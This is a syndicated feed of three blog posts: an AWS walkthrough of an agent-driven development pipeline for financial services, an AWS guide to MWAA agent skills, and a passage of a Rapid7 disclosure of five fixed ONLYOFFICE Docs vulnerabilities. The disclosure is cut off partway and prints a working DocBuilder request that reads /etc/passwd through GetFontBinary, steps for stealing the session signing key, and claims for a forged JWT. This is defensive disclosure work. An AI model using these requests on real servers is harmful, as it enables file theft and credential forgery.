A governed AI-driven development lifecycle for financial services with Kiro and AWS Frontier Agents

Post Syndicated from Qingwei Li original https://aws.amazon.com/blogs/devops/a-governed-ai-driven-development-lifecycle-for-financial-services-with-kiro-and-aws-frontier-agents/

The FSI challenge: Faster delivery with stronger controls

Financial institutions face a difficult asymmetry. Frontier models can help defenders find and remediate weaknesses faster, but regulators are also warning that the same capabilities might accelerate vulnerability discovery and exploitation. The supervisory response is raising expectations for prioritized vulnerability management, continuous monitoring, operational resilience, supply-chain assurance, and the use of AI-based defensive tools under safeguards, human oversight, and robust risk management.

Traditional software delivery makes that harder. Build, security, risk, and operations often work in separate tools and review cycles, with context passed through tickets and manual handoffs. Security checks might occur late, evidence is assembled after the fact, and incident responders must reconstruct what changed across multiple systems. For regulated teams, this creates more than delay: it makes controls harder to apply consistently and decisions harder to evidence.

Under the Digital Operational Resilience Act (DORA), accountability for Information and Communication Technology (ICT) risk remains with the financial institution, including its use of cloud and other third-party providers. Fast development speed alone isn’t enough. Teams need a delivery model that shortens the cycle from discovery to remediation while retaining approval points, traceable evidence, and human accountability.

A governed AI-DLC with three Frontier Agents

The AI-Driven Development Lifecycle (AI-DLC) provides a practical pattern: an AI agent drafts or analyzes, a human evaluates, and the cycle repeats in short iterations. Applied across the lifecycle, agents can help author code, assess release readiness, identify security weaknesses, and investigate production failures. Humans continue to set policy, evaluate findings, authorize material changes, and own the production decision.

In this hands-on walkthrough, Kiro, AWS Security Agent, and AWS DevOps Agent work across a shared GitHub-based workflow. Kiro authors and revises code. AWS DevOps Agent reviews release readiness before and during the pull request. AWS Security Agent performs a deeper security review. A human approves the merge, and AWS DevOps Agent investigates production failures.

Under DORA, accountability for ICT risk stays with the financial institution regardless of which cloud or tooling it uses. Showing that every change was scanned, reviewed, and approved before it reached production, with evidence captured in the delivery toolchain itself, is what turns a good engineering practice into a defensible compliance posture. The institution moves faster without weakening the governance chain, because the agents handle the analysis while humans retain the authority over what gets deployed. This reference implementation doesn’t provide compliance by itself. Each institution must map it to its policies, segregation-of-duties requirements, model risk controls, risk appetite, and DORA obligations.

The three agents — role mapping across the SDLC

SDLC Phase Agent What it does
Plan → Build → Test Kiro (autonomous agent) Virtual developer. Maintains persistent context across sessions, learns from PRs and feedback. Handles multi-repo tasks: bug triage, code coverage, feature implementation. Connects to Jira, GitHub, Slack.
Security AWS Security Agent Virtual security engineer. Reviews design docs, scans PRs against org-specific security requirements, runs autonomous penetration testing. Returns validated findings with remediation code.
Review → Operate → Improve AWS DevOps Agent Virtual site reliability engineer (SRE), and now code reviewer. Release readiness code reviews on every change (cross-repo dependency risks, standards compliance, access control, automated verification testing), plus always-on incident triage, root cause identification and proactive reliability recommendations. Works with Amazon CloudWatch, Datadog, Dynatrace, Splunk, New Relic, Grafana, ServiceNow, Jenkins, GitHub.

Integration model: Workflow-level orchestration

The three agents operate as complementary autonomous systems that share the same software development lifecycle (SDLC) context through common tooling (repos, continuous integration and continuous delivery (CI/CD) pipelines, ticketing systems). The AWS DevOps Agent pulls double duty in this pipeline. Its release readiness code reviews capability makes it the first reviewer on every change: inside Kiro while the code is being written, and again on the PR, before it switches hats to incident response in production.

Agent workflow from Kiro code authoring through AWS DevOps Agent and AWS Security Agent reviews to AWS Lambda deploy and production monitoring

Figure 1: End-to-end workflow across Kiro, AWS DevOps Agent, and AWS Security Agent in a shared GitHub-based pipeline

  • Developer prompts Kiro on what to build. Kiro authors the code.
  • With the AWS DevOps Agent Kiro Power installed in Kiro, you can request a code release readiness review from AWS DevOps Agent right in the Kiro IDE. The release readiness review covers cross-repo dependency risks, standards compliance, access-control correctness, and automated verification testing.
  • After we pass the AWS DevOps Agent code readiness review, we push the code to GitHub from Kiro. The GitHub workflow is designed in a way that a Pull Request (PR) is automatically created.
  • AWS Security Agent runs the deeper OWASP / AWS Identity and Access Management (IAM) / secrets pass on the PR.
  • The developer might incorporate the output from AWS Security Agent and further revise the code. If all looks good, the developer merges the PR.
  • On merge, GitHub Actions deploys.
  • AWS DevOps Agent watches production and, the moment something breaks, opens an investigation, finds the root cause and ties back to the same GitHub repo Kiro is working in.

The rest of this post is the hands-on version of that loop: the exact wiring you need to make it run against a real repo.

Step-by-step setup

This section walks through the setup end to end, from a quick primer on GitHub Actions through the prerequisites and the six steps that wire the agents together.

A quick primer on GitHub Actions

GitHub Actions is GitHub’s built-in automation system. You drop YAML files into .github/workflows/ in your repo, and GitHub runs them on events you care about, such as a push, a PR being opened, a label being added, or a merge to main. Each workflow spins up a fresh Linux VM (“runner”), checks out your code, and executes a series of steps. Steps can be shell commands or reusable packages called actions. We use GitHub Actions as our CI/CD pipeline manager for demonstration purposes.

Prerequisite 1 — What you’ll need

  • A GitHub repo. In this demo example, we deploy a Python application to AWS Lambda using GitHub Actions.
  • An AWS account with permission to create IAM roles, Lambda functions, and an OpenID Connect (OIDC) identity provider.
  • Kiro installed locally.
  • A Slack workspace (for AWS DevOps Agent notifications).

Prerequisite 2 — Install the GitHub Apps and connect the agents

GitHub Apps are the modern way to give automation identity and scoped permissions. For the general model, see About using GitHub Apps. For this demo, install the following on your repo:

Step 1 — Author code in Kiro and push to GitHub

Kiro is an agentic IDE: you describe what you want to build, it writes and edits files, and you commit the result. Open your repo in Kiro, iterate until the feature works, then push a feature branch.

For demonstration purposes, we intentionally started with a flawed .py file with a hard-coded credential and a SQL injection vulnerability so the AWS DevOps Agent and AWS Security Agent have something to catch downstream. This is only to exercise the review agents end-to-end.

Because we installed the AWS DevOps Agent Kiro Power in Prerequisite 2, the review actually starts here, before anything is pushed. The Power includes Skills that tell Kiro to invoke a release readiness review after significant code changes and before creating a PR. Findings surface directly in the IDE, and Kiro offers to fix them on the spot. For this demo, we let the flawed file through so you can see the PR-side review catch it too.

Step 2 — Let the AWS DevOps Agent review the code

This is where the AWS DevOps Agent takes the first review pass. In this post, we use Kiro’s AWS DevOps Agent Power and chat directly with Kiro to kick off the review. This is convenient because you can download the review report and incorporate it into your code. Note that the AWS DevOps Agent can be configured to automatically run a release readiness code review every time a PR is opened or updated.

Prompt: Starting a release readiness review on DevOps-agent-demo @ update-lambda-import. Run it as static analysis.

AWS DevOps Agent release readiness review results shown in the Kiro IDE

Figure 2: AWS DevOps Agent release readiness review results in the Kiro IDE

Each review evaluates the change for cross-repository dependency risks, internal standards compliance, and access-control correctness. With automated verification testing enabled, the agent goes further than static analysis. It clones the change into an AWS-managed verification environment, figures out the build tools from your project files, builds the code, generates a test plan, and runs it. This surfaces functional risks like edge cases that would fail at runtime.

Step 3 — Auto-create the PR

We don’t want to context-switch to the GitHub UI only to open a PR. A tiny workflow does it for us. On every push to a non-main branch, it opens a PR against main if one doesn’t already exist. Put this in .github/workflows/auto-create-pr.yml:

# .github/workflows/auto-create-pr.yml (gist)
on: push to any non-main branch
steps:
- checkout repo
- mint a GitHub App token (APP_ID + APP_PRIVATE_KEY)
- if no PR exists for this branch:
gh pr create --base main --head <branch>

The workflow runs on push to any non-main branch and opens a PR against main if one doesn’t already exist.

Step 4 — Wire up the AWS Security Agent review

The AWS Security Agent was also connected to the repo in Prerequisite 2. This workflow is narrower and stricter than the AWS DevOps Agent’s release readiness pass: OWASP Top 10, hardcoded secrets, IAM misuse, and dependency risk. It gates on the needs-security-review label, so it only runs after the AWS DevOps Agent has cleared the PR.

Create .github/workflows/security-review.yml:

# .github/workflows/security-review.yml (gist)
on: pull_request [opened, labeled]
if: label 'needs-security-review' is present
steps:
- checkout repo
- assume AWS_ROLE_TO_ASSUME via OIDC
- run the Security Agent with:
prompt: "Security review: injection, secrets,
dependencies, IAM, input validation, OWASP Top 10.
Approve if secure; request changes if not."

Two agents now gate every merge. If either requests changes, you fix the code in Kiro and push again, and the whole review cycle restarts automatically.

Here’s what the output looks like in practice:

AWS DevOps Agent release readiness finding posted as a PR comment

AWS Security Agent finding posted as a comment on a GitHub pull request

Figure 3: AWS Security Agent finding posted as a pull request comment

Step 5 — Deploy to Lambda on merge

This demo keeps a human approval before production. After both agents have completed their reviews, an authorized reviewer evaluates the findings and chooses Merge. Financial institutions can add the approvals, separation of duties, change records, and policy checks required by their control framework. The moment the merge lands on main, the deploy workflow takes over.

Create .github/workflows/deploy.yml:

# .github/workflows/deploy.yml (gist)
on: pull_request closed against main
if: PR was merged (not just closed)
steps:
- checkout repo
- assume AWS_ROLE_TO_ASSUME via OIDC
- zip the repo into function.zip
- aws-lambda-deploy --function-name <LAMBDA_FUNCTION_NAME> --zip function.zip

At this point the PR has gone from Kiro push to auto-created PR, AWS DevOps Agent release readiness review, AWS Security Agent review, human approval, and Lambda update. The agents automate analysis and workflow steps, while the authorized reviewer remains accountable for the production decision.

Step 6 — Let the AWS DevOps Agent handle incidents

Deployments fail. Functions throw. Latency spikes. This is where the AWS DevOps Agent earns its keep. It’s an incident-response teammate that investigates on its own, finds root causes, and reports to Slack.

The AWS DevOps Agent is already wired up from Prerequisite 2. It’s connected to this repo (so it can read workflow runs, commits, and IAM policy references) and to Slack (so investigations post to your channel). The only thing left is to point an alert source at it. Follow the webhook configuration guide to grab a webhook URL, then aim your alerts at it, whether GitHub Actions failure notifications, Amazon CloudWatch alarms, or both. An event that hits the webhook kicks off a new investigation.

What an investigation looks like:

Here’s a real run from this demo. A Lambda deploy failed because the OIDC role was missing one IAM permission. The agent walks through it as a timeline:

4:22 PM — Investigation started: Lambda deployment failed. [Symptom] Deploy to Lambda workflow failed on main. [Observation] Workflow assumed the github-action-lambda role, then got AccessDenied calling GetFunctionConfiguration. [Finding] IAM policy frontier-agent-deploy-lambda is missing lambda:GetFunctionConfiguration. Investigation complete — root cause: that one missing IAM permission.

In the AWS DevOps Agent console you see the full timeline and the identified root cause, and you can ask the agent to generate a mitigation plan from there. It proposes the IAM policy change and the steps to apply it.

You’ll also get a Slack ping the moment the investigation kicks off, because we connected the Slack integration in Prerequisite 2:

Slack notification of an AWS DevOps Agent investigation for a failed Lambda deployment

Figure 4: AWS DevOps Agent investigation notification in Slack

Conclusion

In this post we walked end-to-end through an AI-DLC pipeline. Kiro authors the code, with the AWS DevOps Agent Kiro Power reviewing changes in the IDE as they’re written, and opens the PR. The AWS DevOps Agent runs a release readiness review and the AWS Security Agent runs a security review, both posting their findings as PR comments. A human merges, GitHub Actions deploys to Lambda, and the AWS DevOps Agent watches production, investigating failures, surfacing root causes in its console, and pinging Slack the moment something goes wrong.

The value isn’t in any single agent. It’s in what happens when you put them together. Kiro gives you a virtual developer that carries context across sessions. The AWS Security Agent gives you a security engineer on every PR instead of once a quarter. The AWS DevOps Agent gives you a release readiness reviewer on every change, from the IDE to the PR, and an always-on SRE that triages before a human is even paged. Each phase of the SDLC (build, review, secure, operate) gets its own frontier agent, and the handoffs between them are automatic. They pass the baton through GitHub, AWS, and Slack, and the feature moves forward.

Financial services institutions adopt development tooling to deliver better software while meeting their security, resilience, and governance obligations. The workflow demonstrated here brings build, security, and operations into a shared delivery loop, helping teams identify issues earlier and reduce the time from development to production. It also retains review findings and human approvals within the delivery workflow, providing evidence that controls were applied before code reached customers. For financial services industry (FSI) teams, this combination can make software delivery faster, safer, and more straightforward to defend during governance and regulatory reviews.

Ready to explore this approach? You can start with a low-risk workload in a non-production environment. Connect Kiro, AWS DevOps Agent, and AWS Security Agent, then map each automated step to your organization’s approval, segregation-of-duties, and evidence requirements.


About the authors

Qingwei Li

Qingwei Li

Qingwei is a Machine Learning Specialist at Amazon Web Services. He received his Ph.D. in Operations Research after he broke his advisor’s research grant account and failed to deliver the Nobel Prize he promised. Currently he helps customers in the financial service and insurance industry build machine learning solutions on AWS. In his spare time, he likes reading and teaching.

Suheel Farooq

Suheel Farooq

Suheel is a Principal GenAI/ML Specialist Solutions Architect at AWS, specializing in artificial intelligence, machine learning, and generative AI. He helps Foundation Model Provider customers design, build, modernize, and scale their AI/ML and generative AI workloads on AWS — from bringing foundation models to Amazon Bedrock to optimizing training and inference and building Agentic AI solutions. His experience spans the AWS AI/ML and generative AI portfolio, particularly Amazon Bedrock, Amazon Bedrock AgentCore, and Amazon SageMaker AI. In his free time, Suheel enjoys working out and hiking.

Aastha Bhardwaj

Aastha Bhardwaj

Aastha is a Security Specialist at AWS who works with Global Financial Services customers. She helps leading financial institutions prepare for the agentic era so they can adopt AI and autonomous agents safely and at scale. She partners with CISOs and security leaders to build security into migrations and modernizations from day one, protect the AI applications and agents their teams build and use, and defend against AI-powered threats. Outside of work, Aastha loves to travel, dance, and spend time with friends.

Upgrading and troubleshooting Amazon MWAA with AWS agent skills

Post Syndicated from Kamen Sharlandjiev original https://aws.amazon.com/blogs/big-data/upgrading-and-troubleshooting-amazon-mwaa-with-aws-agent-skills/

Amazon Managed Workflows for Apache Airflow (Amazon MWAA) is a managed service for Apache Airflow that you can use to set up and run data pipelines in the cloud at scale, without managing the underlying infrastructure. Amazon MWAA also helps simplify upgrading the Airflow version your environment runs on, with the managed offering including built-in upgrade functionality. Keeping your DAGs current is the harder part. As Airflow innovates, teams struggle to upgrade their DAGs at the same pace, and the work demands deep Airflow expertise and constant switching between tools. The result is a familiar cycle: upgrade efforts often yield broken code and bugs, and debugging them takes time to find and fix. Teams then postpone upgrades and fall further behind. The 2.x-to-3.x jump makes this especially painful, with breaking changes, a Python transition, and a required stepping-stone version.

Apache Airflow version upgrade lifecycle, moving from Airflow 2.x through the required 2.11.x stepping-stone to Airflow 3.x

Figure 1: Apache Airflow version upgrade lifecycle

Automated tools promise to speed this up. But Airflow users quickly find that standard automation approaches often aren’t trained on the latest Airflow syntax or mix concepts between Airflow versions, producing code that fails in exactly the ways you’re trying to avoid.

AWS now publishes a set of MWAA agent skills as part of the open source AWS agent toolkit: skills authored by AWS that your coding assistant uses to better plan, execute, and debug MWAA version upgrades. In this post, you’ll learn what each MWAA skill does, how to install the skills, and how to start using them with sample prompts for upgrades, troubleshooting, and authoring. By the end, you’ll have a complete picture of what the MWAA agent skills are, how to install them in your Airflow project, and how to put them to work on real upgrade and troubleshooting tasks.

What are AWS agent skills?

An agent skill is an instruction package that guides a coding assistant through a specific task. The MWAA skills follow the open Agent Skills standard, so they work across assistants that support it, including Kiro, Claude Code, Cursor, and Codex. The assistant loads a skill authored by AWS and follows its steps, which keeps it current with Airflow and MWAA behavior.

The skills run AWS Command Line Interface (AWS CLI) commands to interact with your resources. The Agent Toolkit for AWS also provides the AWS Model Context Protocol (MCP) Server, and the plugin install bundles its configuration with the skills. The skills use it to fetch current AWS documentation at runtime and to run AWS CLI commands with sandboxed execution and audit logging.

The MWAA skills

The aws-data-analytics plugin ships four Amazon MWAA skills:

  • authoring-mwaa-workflow: Authors and deploys Airflow DAGs for provisioned environments and YAML workflows for MWAA Serverless.
  • testing-mwaa-workflow: Triggers a deployed DAG or workflow, monitors it to completion, and retests after fixes. It can also call the debugging and authoring skills when a run fails.
  • debugging-mwaa-workflow: Finds the root cause of failed runs and tasks, DAGs that don’t appear, import errors, worker out-of-memory errors, and AWS Identity and Access Management (IAM) permission errors.
  • upgrading-mwaa-environments: Upgrades a provisioned environment to a newer Airflow version, including 2.x to 3.x, using a blue/green or in-place strategy. It also updates and tests your DAG code so it runs on the new version. When the source is older than 2.11.x, it plans the route through the latest 2.11.x version on 2.x, which is a bridge for an in-place upgrade to Airflow 3 for provisioned environments.

Provisioned environments use Python DAGs and MWAA Serverless uses YAML files. All four skills work with provisioned environments, and the authoring, testing, and debugging skills also work with MWAA Serverless.

Note: agents using these skills make changes, not only recommendations. Depending on the task, they can edit and deploy DAG files. Try the skills on a development environment first, keep your DAGs under version control, and verify each proposed change.

Prerequisites

  • An AWS account with an existing MWAA provisioned environment. This post starts from Airflow 2.11.x (see the following setup section).
  • An AI coding assistant that supports the Agent Skills standard (for example, Kiro or Claude Code).
  • IAM permissions for the MWAA action namespaces you use, scoped to your resources: the airflow namespace for provisioned environments and the Apache Airflow REST API, and the airflow-serverless namespace for MWAA Serverless workflows and runs.
  • Least-privilege credentials for investigation steps. Grant write access only for the confirmed change steps.

Installing the MWAA skills

The MWAA skills are part of the aws-data-analytics plugin in the Agent Toolkit for AWS. How you install them depends on your assistant. There are two common paths.

Option A: Install the plugin (Claude Code, Codex)

Install the aws-data-analytics plugin from the claude-plugins-official marketplace. First update the marketplace so the latest plugin version is available, then install it. For example, in Claude Code:

/plugin marketplace update claude-plugins-official
/plugin install aws-data-analytics@claude-plugins-official

If you install without updating the marketplace first, you may see an error such as “Plugin ‘aws-data-analytics’ not found in marketplace ‘claude-plugins-official’”. Running the preceding marketplace update command resolves it. The Anthropic plugin directory may still list an older version, so install from claude-plugins-official to get the MWAA skills. Codex and other plugin-based assistants follow the equivalent plugin install in Getting started.

Option B: AWS MCP Server, then add the skills (Kiro)

For Kiro, add the AWS MCP Server to your configuration (~/.kiro/settings/mcp.json). Copy the current configuration from the Kiro section of Getting started in the Agent Toolkit for AWS User Guide, and set AWS_REGION to the Region of your MWAA environment. Then add the skills from the repository:

npx skills add aws/agent-toolkit-for-aws/skills

Alternatively with AWS CLI, run aws configure agent-toolkit. It detects the AI coding assistants you have installed, installs default AWS skills and configures the AWS MCP Server.

After installation, the skills are selected automatically based on your prompt, so you don’t need to name a skill. For step by step setup instructions for each assistant, follow Getting started in the Agent Toolkit for AWS User Guide and Using agent skills in MWAA in the Amazon MWAA User Guide.

Sample prompts to check the setup

  • What AWS Regions are available? – A list of regions means the AWS MCP Server is connected.
  • What can MWAA Skills help me with? – This confirms your assistant can see the skills.

Setting up an example environment

To demonstrate the steps the skills take, we provide two walkthroughs with sample prompts to help you get started. Walkthrough 1 discusses the upgrade process from 2.x to 3.x and Walkthrough 2 shows how to troubleshoot a failed DAG.

Walkthrough 1: Upgrading a provisioned environment from Airflow 2.x to 3.x

Prompt the assistant in natural language, the upgrading-mwaa-environments skill then drives a structured, confirmation-gated process:

  1. Plan the version path. The skill computes an ordered list of version jumps from source to target, inserting the required 2.11.x stepping-stone and the Python-transition step when the path crosses the 2.x-to-3.x boundary.
  2. Choose a strategy. Based on whether run history and the same environment URL/ARN must be kept, the skill selects a new-environment (blue/green) upgrade, a rehearsed in-place upgrade validated on a test copy, or a direct in-place upgrade.
  3. Validate the DAGs. For 3.x moves, the skill runs Ruff scanning and deprecation-warning log scans, plus Docker validation, surfacing breaking changes.
  4. Deploy and switch over, saving a resumable plan so a multi-session upgrade can be paused and continued.

Safety is built in: the skill never creates an environment, changes an Airflow version, or modifies your current environment without per-action confirmation, and every version jump is confirmed individually.

Sample prompts that you can use

  • Upgrade <environment_name> from Airflow 2.7.2 to the latest 3.x. We don’t need the run history.
  • Upgrade <environment_name> from 2.10.3 to 2.11.x. We must keep run history and the same URL. It has a large number of DAGs.
  • Upgrade <environment_name> from 2.11.0 to 3.2.1 in place. Skip the test copy, we don’t have budget. Some DAGs import airflow.datasets and one runs ‘airflow db clean’ in a BashOperator.

Walkthrough 2: Troubleshooting a failed DAG

Upgrades surface failures, a DAG that no longer imports, or one that stops appearing in the Airflow UI. The debugging-mwaa-workflow skill walks through the common MWAA failure modes and identifies the root cause. Next, you can either manually fix the problem or ask the authoring skill to update your DAG.

Sample prompts that you can use

  • DAG <dag_name> on <environment_name> started failing this morning with ModuleNotFoundError: No module named ‘snowflake’. Nobody changed the DAG code.
  • My serverless workflow arn:aws:airflow-serverless:<region>:<accountid>:workflow/<workflowname> failed on its last run. Why?
  • Task <taskname> in DAG <dag_name> on <environment_name> fails with AccessDenied on s3://<s3_bucket>/inbound/. Fix the permissions.

Authoring and testing workflows

The MWAA skills cover both flavors of MWAA. While the upgrade skill applies to provisioned environments only, the authoring, testing, and debugging skills all work with MWAA Serverless, where you define workflows in YAML rather than Python DAGs. To show this, we use authoring-mwaa-workflow to build a YAML workflow, testing-mwaa-workflow to run it to completion, and the debugging skill if a run fails.

Sample prompts you can use

  • Write a Python DAG for my MWAA environment <environment_name> that runs an Athena query against <db>.<table>, writes results to s3://<s3bucket>/orders/, and sends an SNS alert on failure. Then deploy and test it.
  • Create an MWAA Serverless workflow that runs Glue job orders-clean, then a Python step that uses pyarrow to validate the Parquet output row count. Run it nightly. Deploy only, don’t run it yet.
  • Smoke-test DAG <dagname> on <environment_name> (Airflow 3.0.6). It was just uploaded and is still paused.
  • Run arn:aws:airflow-serverless:<region>:<accountid>:workflow/<workflow_name> and confirm it succeeds. If it fails, fix it and retry up to 5 times.

Best practices

  • Test in a development environment first. Before an in-place production upgrade, rehearse on a test copy, and prefer a new-environment (blue/green) upgrade when you don’t need to keep run history.
  • Keep the assistant in a confirm-before-act posture for any environment-changing operation, and review each version jump.
  • Use read-only credentials for investigation and troubleshooting; scope write access to the confirmed change steps, and scope IAM to the airflow / airflow-serverless namespaces you use.
  • Install the AWS MCP Server alongside the skills so the assistant fetches current AWS docs at runtime and runs CLI commands with sandboxed execution and audit logging.
  • Keep DAGs and requirements under version control so you can review and roll back any changes these skills makes.

Conclusion and next steps

The MWAA agent skills give your AI coding assistant AWS-authored procedures for the operational work that slows Airflow teams down: upgrading Airflow versions, debugging failed runs, and authoring and testing workflows. You describe the goal, and the assistant plans the work, asks before it changes your environment, and tests the result.
To get started:
  1. Install the skills from the Agent Toolkit for AWS and connect the AWS MCP Server, as described in Getting started.
  2. Try the sample prompts in this post against a development environment.
  3. For more example prompts, see Using agent skills with Amazon MWAA in the Amazon MWAA User Guide. If you’re planning a move to Airflow 3, also read Best practices for migrating from Apache Airflow 2.x to Apache Airflow 3.x on Amazon MWAA.

Cleanup

If the walkthrough created a new environment (blue/green), a rehearsal copy, or a Serverless workflow, delete those resources when you’re done to avoid ongoing charges.


About the authors

Kamen Sharlandjiev

Kamen Sharlandjiev

Kamen is Principal Big Data and ETL SA. He’s on a mission to make life easier for customers who are facing complex data integration and orchestration challenges. His secret weapon? Fully managed AWS services that can get the job done with minimal effort. Follow Kamen on LinkedIn to keep up to date with the latest MWAA and AWS Glue features and news!

Harshawardhan Kulkarni

Harshawardhan Kulkarni

Harsh is a Partner Technical Account Manager at AWS, Amazon MWAA Subject Matter Expert. Based in Dublin Ireland, he partners with Enterprise Customers across EMEA to help navigate complex workflows and orchestration challenges while ensuring best practice implementation. Outside of work, he enjoys traveling and spending time with his family.

Boyko Radulov

Boyko Radulov

Boyko is a Senior Cloud Support Engineer at Amazon Web Services (AWS), Amazon MWAA and AWS Glue Subject Matter Expert. He works closely with customers to build and optimize their workloads on AWS while reducing the overall cost. Beyond work, he is passionate about sports and travelling.

Aritra Ghosh

Aritra Ghosh

Aritra is a Senior Product Manager at Amazon Web Services (AWS), where he leads product development for Amazon Managed Workflows for Apache Airflow (Amazon MWAA) and Amazon SageMaker Unified Studio. Outside of work, Aritra enjoys playing squash and hitting the gym.

Ashish Goel

Ashish Goel

Ashish Goel is a Principal Engineer at AWS who has supported Amazon Managed Workflows for Apache Airflow (Amazon MWAA) since its inception in 2019, guiding the Amazon development teams and the Open-Source team that contributes directly to Apache Airflow. Outside of work, Ashish enjoys tennis and nature.

From view-only access to container root: five vulnerabilities in ONLYOFFICE Docs (FIXED)

Post Syndicated from Jonah Burgess original https://www.rapid7.com/blog/post/ve-from-view-only-access-to-container-root-five-vulnerabilities-in-onlyoffice-docs-fixed

Overview

As part of our research into Zimbra Collaboration Suite, Rapid7 reported five findings in ONLYOFFICE Docs. An attacker with view-only access to a document can chain vulnerabilities in ONLYOFFICE Docs to execute arbitrary operating system commands as root inside the official DocumentServer container.

The findings also expose server files and document data that the viewer never displays, even when downloading is disabled.

CVE

Finding

CVSS

CVE-2026-113627

DocBuilder native file read and Session JWT forgery

7.1 High

CVE-2026-110385

DocBuilder SaveFile conversion parameter injection and code execution

8.7 High

CVE-2026-97727

Complete-save format path traversal and arbitrary file write

6.5 Medium

CVE-2026-113630

Root-helper command injection

7.8 High

CVE-2026-113631

View-only export of non-rendered document data

6.5 Medium

ONLYOFFICE confirmed on October 23, 2026 that all five findings were fixed in Document Server 10.0. The changelog describes the release’s security changes.

Proof-of-concept code is available on the accompanying Github repository.

Product description

ONLYOFFICE Docs provides online viewers and editors for documents, spreadsheets, presentations, forms and PDFs. It supports collaborative editing and can integrate with applications that store and share files.

An integrating application, for example Zimbra Collaboration Suite, supplies an opening configuration identifying the document and the user’s permissions, signed with the Browser key. This client-visible credential is referred to below as the Editor JWT. After opening a document, DocumentServer issues a Session JWT for reconnecting and saving.

Incoming service requests, including document-building jobs, are validated using ONLYOFFICE’s Inbox JWT key. DocumentServer can also send generated document output to the integrating application’s callback URL.

Credit

This assessment and the exploit-chain research were conducted by Jonah Burgess (CryptoCat), Senior Security Researcher at Rapid7. The findings are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Testing setup

Rapid7 tested the official onlyoffice/documentserver:9.4.0 image with package onlyoffice-documentserver 9.4.0-129. DocumentServer ran as the ds account. JWT validation remained enabled, and no authentication check, private-address filter, or vendor code was disabled or modified. Browser and Inbox validation used the same effective signing key.

Our analysis of the vendor supplied fixes compares the v9.4.0.129 and v10.0.0.169 tags of ONLYOFFICE/server, ONLYOFFICE/core and ONLYOFFICE/document-server-package. Rapid7 also performed targeted checks on package 10.0.0-169. For the conditional WOPI test on 9.4.0-129, Rapid7 enabled only WOPI_ENABLED=true and left the shipped WOPI IP filter unchanged at its default allow-all rule.

Exploitation was demonstrated only on 9.4.0-129; the broader affected-version range is unknown.

Impact

View-only document access can lead to command execution as ds and then root inside the official container. The two exploit chains use different file-write stages. With WOPI enabled and an attacker-controlled source reachable and permitted by its IP filter, the same DocBuilder authorization failure provides an unauthenticated entry.

Separately, a viewer denied download can obtain a reconstructed DOCX containing custom XML, custom properties and field instructions that the viewer never displayed.

Editor JWT authorizes native file reads and session JWT forgery (CVE-2026-113627)

An attacker with view-only access to a document can use /docbuilder to steal files from the ONLYOFFICE server. In the tested build, this exposed the Session JWT signing key, allowing the attacker to forge credentials containing document keys and permissions that were never granted to the original viewer.

Technical analysis

Prerequisite: The attacker needs a valid Editor JWT for any document and access to /docbuilder. Target files must be readable by ds. The token-forgery step also requires the Session JWT signing key to be in a readable file, as it was in the tested build. No edit, download, print, review, or comment permission is required.

The default-secret branch in getTenantSecret() contains:

switch (type) {
case commonDefines.c_oAscSecretType.Browser:
case commonDefines.c_oAscSecretType.Inbox:
    res = utils.getSecretByElem(cfgSecretInbox); // [0] Shared signing key
break;
// ... other token types omitted ...
}

The branch at [0] selects the same configured signing key for Browser and Inbox tokens.

builderRequest() passes the request to getRequestParams():

const authRes = yield docsCoServer.getRequestParams(ctx, req); // [1] Request JWT validation
if (authRes.isDecoded) {
  cmd.setWithAuthorization(true);
}

At [1], builderRequest() delegates JWT validation to getRequestParams(). That function’s query-token branch checks the signature using the Inbox key:

if (tenTokenEnableRequestInbox) {
  res.code = constants.VKEY;
let checkJwtRes;
if (res.params.token) {
// [2] Inbox signature check
checkJwtRes = yield checkJwt(ctx, res.params.token, commonDefines.c_oAscSecretType.Inbox);
  } else {
    checkJwtRes = yield checkJwtHeader(ctx, req);
  }
// ... remaining validation and decoded-claim handling omitted ...
}

A view-only Editor JWT passes the signature check at [2] because Browser validation uses the same key. The check does not require the JWT to have been issued specifically for DocBuilder.

/docbuilder treats the POST body as a DocBuilder script. After the JWT check above succeeds, that script can call GetFontBinary() with a supplied filename:

std::wstring sFile = file->toStringW();
bool bIsFullFilePath = (std::wstring::npos != sFile.find('\\') || std::wstring::npos != sFile.find('/'));
if (bIsFullFilePath)
{
    bIsFullFilePath = NSFile::CFileBinary::Exists(sFile); // [3] Path existence check
}

// ... font-map fallback omitted ...

return CJSContext::createUint8Array(sFile); // [4] Return file bytes

GetFontBinary() accepts an existing absolute path at [3] and returns its bytes at [4]. Ssani4 previously reported this native file-read behavior in DocumentBuilder issue #147 on November 21, 2025. That report explicitly identified GetFontBinary() and ZipFileAsString() and used a Session JWT obtained from /downloadas to authorize /docbuilder. ONLYOFFICE closed the issue as fixed in DocumentBuilder 9.2.0.

Rapid7 reproduced GetFontBinary() file reads in 9.4.0-129 using a view-only Editor JWT, then demonstrated session-signing-key theft and token forgery. The native read itself was previously reported; the analysis here documents its continued exposure through that entry point and its role in the subsequent chains.

Exploitation

Reading a server file

The attacker submits a DocBuilder script using a JWT issued for view-only access to any document. The request fragment is:

POST /docbuilder?token=VIEW_ONLY_EDITOR_JWT HTTP/1.1
Host: docs.example.test
Content-Type: application/octet-stream

builder.CreateFile("docx");
var bytes = native.GetFontBinary("/etc/passwd");
if (bytes === null || typeof bytes === "undefined") throw new Error("read failed");
var hex = "";
for (var i = 0; i < bytes.length; i++)
    hex += ("0" + bytes[i].toString(16)).slice(-2);
var paragraph = Api.CreateParagraph();
paragraph.AddText("R7FILE:" + hex + ":END");
Api.GetDocument().Push(paragraph);
builder.SaveFile("docx", "stolen.docx");
builder.CloseFile();

DocumentServer executes the script as ds and returns a URL for stolen.docx. The PoC downloads stolen.docx, extracts the hex between R7FILE: and :END from word/document.xml, and decodes it to recover the contents of /etc/passwd. Hex encoding supports binary files; the delimiters let the extractor locate the payload and reject output missing either boundary.

Stealing the session signing key

The attacker repeats the same request for /etc/onlyoffice/documentserver/local.json. In the tested configuration, services.CoAuthoring.secret.session.string contained the Session JWT signing key. If services.CoAuthoring.secret.session.file instead names a key file, the attacker reads that file with the same GetFontBinary() request.

Forging a save credential

The attacker chooses the document key, permissions and user ID, then signs the following claims with the stolen Session JWT key using HMAC-SHA256. For this save operation, the user ID does not need to correspond to an existing account:

{
  "document": {
    "key": "external-document-20260821",
    "permissions": {
      "download": true,
      "print": true
    }
  },
  "editorConfig": {
    "user": {
      "id": "rapid7-poc",
      "index": 1
    }
  },
  "iat": 1787329293,
  "exp": 1787329593
}

